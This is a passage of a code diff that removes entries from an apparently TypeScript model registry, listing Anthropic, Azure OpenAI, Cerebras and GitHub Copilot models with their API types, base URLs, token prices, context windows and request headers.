cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-5": { - id: "claude-sonnet-4-5", - name: "Claude Sonnet 4.5 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-5-20250929": { - id: "claude-sonnet-4-5-20250929", - name: "Claude Sonnet 4.5", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-6": { - id: "claude-sonnet-4-6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - }, - "azure-openai-responses": { - "gpt-4": { - id: "gpt-4", - name: "GPT-4", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text"], - cost: { - input: 30, - output: 60, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"azure-openai-responses">, - "gpt-4-turbo": { - id: "gpt-4-turbo", - name: "GPT-4 Turbo", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"azure-openai-responses">, - "gpt-4.1": { - id: "gpt-4.1", - name: "GPT-4.1", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"azure-openai-responses">, - "gpt-4.1-mini": { - id: "gpt-4.1-mini", - name: "GPT-4.1 mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.4, - output: 1.6, - cacheRead: 0.1, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"azure-openai-responses">, - "gpt-4.1-nano": { - id: "gpt-4.1-nano", - name: "GPT-4.1 nano", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"azure-openai-responses">, - "gpt-4o": { - id: "gpt-4o", - name: "GPT-4o", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-4o-2024-05-13": { - id: "gpt-4o-2024-05-13", - name: "GPT-4o (2024-05-13)", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 5, - output: 15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"azure-openai-responses">, - "gpt-4o-2024-08-06": { - id: "gpt-4o-2024-08-06", - name: "GPT-4o (2024-08-06)", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-4o-2024-11-20": { - id: "gpt-4o-2024-11-20", - name: "GPT-4o (2024-11-20)", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-4o-mini": { - id: "gpt-4o-mini", - name: "GPT-4o mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-5": { - id: "gpt-5", - name: "GPT-5", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5-chat-latest": { - id: "gpt-5-chat-latest", - name: "GPT-5 Chat Latest", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-5-codex": { - id: "gpt-5-codex", - name: "GPT-5-Codex", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5-mini": { - id: "gpt-5-mini", - name: "GPT-5 Mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5-nano": { - id: "gpt-5-nano", - name: "GPT-5 Nano", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.05, - output: 0.4, - cacheRead: 0.005, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5-pro": { - id: "gpt-5-pro", - name: "GPT-5 Pro", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 120, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 272000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.1": { - id: "gpt-5.1", - name: "GPT-5.1", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.13, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.1-chat-latest": { - id: "gpt-5.1-chat-latest", - name: "GPT-5.1 Chat", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-5.1-codex": { - id: "gpt-5.1-codex", - name: "GPT-5.1 Codex", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.1-codex-max": { - id: "gpt-5.1-codex-max", - name: "GPT-5.1 Codex Max", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.1-codex-mini": { - id: "gpt-5.1-codex-mini", - name: "GPT-5.1 Codex mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.2": { - id: "gpt-5.2", - name: "GPT-5.2", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.2-chat-latest": { - id: "gpt-5.2-chat-latest", - name: "GPT-5.2 Chat", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-5.2-codex": { - id: "gpt-5.2-codex", - name: "GPT-5.2 Codex", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.2-pro": { - id: "gpt-5.2-pro", - name: "GPT-5.2 Pro", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 21, - output: 168, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.3-chat-latest": { - id: "gpt-5.3-chat-latest", - name: "GPT-5.3 Chat (latest)", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"azure-openai-responses">, - "gpt-5.3-codex": { - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.3-codex-spark": { - id: "gpt-5.3-codex-spark", - name: "GPT-5.3 Codex Spark", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 32000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.4": { - id: "gpt-5.4", - name: "GPT-5.4", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.4-mini": { - id: "gpt-5.4-mini", - name: "GPT-5.4 mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.75, - output: 4.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.4-nano": { - id: "gpt-5.4-nano", - name: "GPT-5.4 nano", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 1.25, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - "gpt-5.4-pro": { - id: "gpt-5.4-pro", - name: "GPT-5.4 Pro", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 180, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"azure-openai-responses">, - o1: { - id: "o1", - name: "o1", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 60, - cacheRead: 7.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o1-pro": { - id: "o1-pro", - name: "o1-pro", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 150, - output: 600, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - o3: { - id: "o3", - name: "o3", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o3-deep-research": { - id: "o3-deep-research", - name: "o3-deep-research", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 10, - output: 40, - cacheRead: 2.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o3-mini": { - id: "o3-mini", - name: "o3-mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.55, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o3-pro": { - id: "o3-pro", - name: "o3-pro", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 20, - output: 80, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o4-mini": { - id: "o4-mini", - name: "o4-mini", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.28, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - "o4-mini-deep-research": { - id: "o4-mini-deep-research", - name: "o4-mini-deep-research", - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"azure-openai-responses">, - }, - cerebras: { - "gpt-oss-120b": { - id: "gpt-oss-120b", - name: "GPT OSS 120B", - api: "openai-completions", - provider: "cerebras", - baseUrl: "https://api.cerebras.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.25, - output: 0.69, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "llama3.1-8b": { - id: "llama3.1-8b", - name: "Llama 3.1 8B", - api: "openai-completions", - provider: "cerebras", - baseUrl: "https://api.cerebras.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, - output: 0.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 8000, - } satisfies Model<"openai-completions">, - "qwen-3-235b-a22b-instruct-2507": { - id: "qwen-3-235b-a22b-instruct-2507", - name: "Qwen 3 235B Instruct", - api: "openai-completions", - provider: "cerebras", - baseUrl: "https://api.cerebras.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.6, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 32000, - } satisfies Model<"openai-completions">, - "zai-glm-4.7": { - id: "zai-glm-4.7", - name: "Z.AI GLM-4.7", - api: "openai-completions", - provider: "cerebras", - baseUrl: "https://api.cerebras.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2.25, - output: 2.75, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 40000, - } satisfies Model<"openai-completions">, - }, - "github-copilot": { - "claude-haiku-4.5": { - id: "claude-haiku-4.5", - name: "Claude Haiku 4.5", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 144000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4.5": { - id: "claude-opus-4.5", - name: "Claude Opus 4.5", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 160000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4.6": { - id: "claude-opus-4.6", - name: "Claude Opus 4.6", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 144000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4.7": { - id: "claude-opus-4.7", - name: "Claude Opus 4.7", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 144000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4": { - id: "claude-sonnet-4", - name: "Claude Sonnet 4", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 216000, - maxTokens: 16000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4.5": { - id: "claude-sonnet-4.5", - name: "Claude Sonnet 4.5", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 144000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4.6": { - id: "claude-sonnet-4.6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "gemini-2.5-pro": { - id: "gemini-2.5-pro", - name: "Gemini 2.5 Pro", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "gemini-3-flash-preview": { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "gemini-3-pro-preview": { - id: "gemini-3-pro-preview", - name: "Gemini 3 Pro Preview", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "gemini-3.1-pro-preview": { - id: "gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "gpt-4.1": { - id: "gpt-4.1", - name: "GPT-4.1", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "gpt-4o": { - id: "gpt-4o", - name: "GPT-4o", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "gpt-5": { - id: "gpt-5", - name: "GPT-5", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-mini": { - id: "gpt-5-mini", - name: "GPT-5-mini", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 264000, - maxTokens: 64000, - } satisfies Model<"openai-responses">, - "gpt-5.1": { - id: "gpt-5.1", - name: "GPT-5.1", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 264000, - maxTokens: 64000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex": { - id: "gpt-5.1-codex", - name: "GPT-5.1-Codex", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-max": { - id: "gpt-5.1-codex-max", - name: "GPT-5.1-Codex-max", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-mini": { - id: "gpt-5.1-codex-mini", - name: "GPT-5.1-Codex-mini", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2": { - id: "gpt-5.2", - name: "GPT-5.2", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 264000, - maxTokens: 64000, - } satisfies Model<"openai-responses">, - "gpt-5.2-codex": { - id: "gpt-5.2-codex", - name: "GPT-5.2-Codex", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - 